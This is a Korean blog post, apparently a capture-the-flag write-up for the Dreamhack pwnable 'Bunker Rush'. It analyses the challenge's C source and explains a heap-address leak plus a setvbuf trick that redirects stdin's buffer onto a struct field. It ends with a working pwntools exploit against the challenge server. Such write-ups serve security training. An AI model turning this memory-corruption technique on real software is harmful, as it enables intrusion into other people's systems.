[Dreamhack] Bunker Rush

Merry Berry·2024년 5월 20일
0

Pwnable&Reversing

목록 보기
3/7

https://dreamhack.io/wargame/challenges/513

코드 분석

typedef struct {
  char name[16];
  long HP;
  long type;
  void (*build)(void *);
  void (*destroyed)(void *);
} Bunker;

typedef struct {
  char name[16];
  long HP;
  long type;
  void (*build)();
  void (*destroyed)();
} Hatchery;

코드에서는 두 구조체가 사용된다.

#define YELLOW_WIN "22222"

void destroyedBunker(Bunker* this)
{
  puts("Bunker is destructed...");
  if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN))
    system("cat flag");
}
Bunker* newBunker(long hp)
{
  Bunker* bunker = (Bunker*)malloc(sizeof(Bunker));

  strcpy(bunker->name, "Bunker");
  bunker->build = buildBunker;
  bunker->destroyed = destroyedBunker;
  //Yellow changed this line to comment.
  //bunker->type = BOXER;
  bunker->HP = hp;

  return bunker;
}
char canwin='N';
void BuildHatchery()
{
  puts ("your drone moved to outside.");

  Hatchery* hatchery = newHatchery(0x1250);
  hatchery->build(hatchery);
  Bunker* bunker = newBunker(0x350);
  bunker->build(bunker);

  puts("your drone came out and attacked bunker!");
  puts("now can you beat BoxeR? [y/N]");
  scanf(" %c", &canwin);

  if((char)canwin != 'N') {
    puts("Drones finally destroyed the bunker!");
    bunker->destroyed(bunker);
    puts("Mission Success");
    bunker = NULL;
  } else {
    puts("Bunker is completed");
    hatchery->destroyed(hatchery);
    puts("Failed to mission");
    hatchery = NULL;
  }

  sleep(1);
  exit(0);
}

destroyedBunker()가 호출될 때 if문의 조건에 맞으면 문제를 풀 수 있다. 해당 함수의 주소는 Bunker 구조체 변수 bunkerdestroyed 멤버로 설정되며, 이는 BuildHatchery() 내에서 호출되는 newBunker() 함수에 의해 설정된다. 이후 canwinN이 아니면 bunker->destroyed(bunker)을 호출한다.

#define DEFAULT_SIZE 1024
char * buffer = 0;
long size = 0;
void BunkerRushStudy ()
{
  int ret;
  unsigned course;

  printf("your buffer: %p\n", buffer);
  puts("Select your course");
  printf(">> ");
  course = read_number();


  if (course > 2) {
    return;
  }

  if (course < 2) {
    if (buffer == NULL) {
      buffer = (char*)malloc(DEFAULT_SIZE);
      size = DEFAULT_SIZE;
    }
    ret = setvbuf(stdin, buffer, course, size);
  } else {
    ret = setvbuf(stdin, 0, course, 0);
  }

  if (ret < 0) {
    puts("study fail...");
    exit(1);
  }
  puts("Finish and sleep.");
}

기존 buffer의 주소를 출력한 후, 그 주소가 NULL일 경우 malloc()을 통해 동적 할당받는다. 이후 course에 따라 _IOFBF, _IOLBF, _IONBFstdin을 세팅한다.

void BuildSpawningPool() {

  printf("buffer: ");
  scanf("%lu", &buffer);
  printf("size: ");
  scanf("%lu", &size);

  if (size >0x10000)
    size = 0;
}

buffersize를 입력받는다. 해당 함수를 호출하려면 메뉴 번호 입력 시 0x22222를 입력해야 한다.

문제 풀이 전략

  • Bunker 구조체의 type을 문자열 "22222"의 주소값으로 바꾸어야 한다.
  • Bunker, Hatchery 구조체 모두 동적 할당을 받는다. 한편, BunkerRushStudy()에서도 버퍼가 NULL일 경우 동적 할당을 한다.
  • BunkerRushStudy()에서는 버퍼의 주소를 출력한다. 따라서 버퍼의 동적 할당 이후 다시 이 함수로 오면 동적 할당된 주소를 알 수 있다. 이 주소를 알면, 미래에 할당될 Bunker의 주소를 계산할 수 있다.
  • BuildSpawningPool()에서 buffer의 값을 계산된 Bunker.type의 주소로 설정한다. size는 적당한 값(100)으로 설정한다.
  • BunkerRushStudy()를 이용해 설정한 bufferstdin_IOLBF를 설정한다. 이후 표준 입력으로 들어오는 값들은 Bunker.type에 저장된다.
  • canwin을 입력받을 때 payload{(8바이트 Bunker.type+8의 주소), \x02\x02\x02\x02\x02\x00}를 입력한다.

익스플로잇 코드

from pwn import *

#p = process('./chal')
p = remote('host3.dreamhack.games', 18119)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #malloc chunk 0x410, _IOLBF

p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'buffer: ')
heap_offset = int(p.recvline()[:-1], 16)
bunker_type_offset = heap_offset + 0x400 + 0x40 + 0x10 + 0x18

print('heap offset:', hex(heap_offset))
print('Bunker offset:', hex(heap_offset + 0x400 + 0x40 + 0x10))
print('Bunker.type offset:', hex(bunker_type_offset))

p.sendlineafter(b'>> ', b'2') #_IONBF
p.sendlineafter(b'>> ', b'139810')
p.sendlineafter(b'buffer: ', str(bunker_type_offset).encode()) #buffer=&Bunker.type
p.sendlineafter(b'size: ', b'100')

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #_IOLBF

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'[y/N]', p64(bunker_type_offset + 8) + b'22222\x00')
p.interactive()

0개의 댓글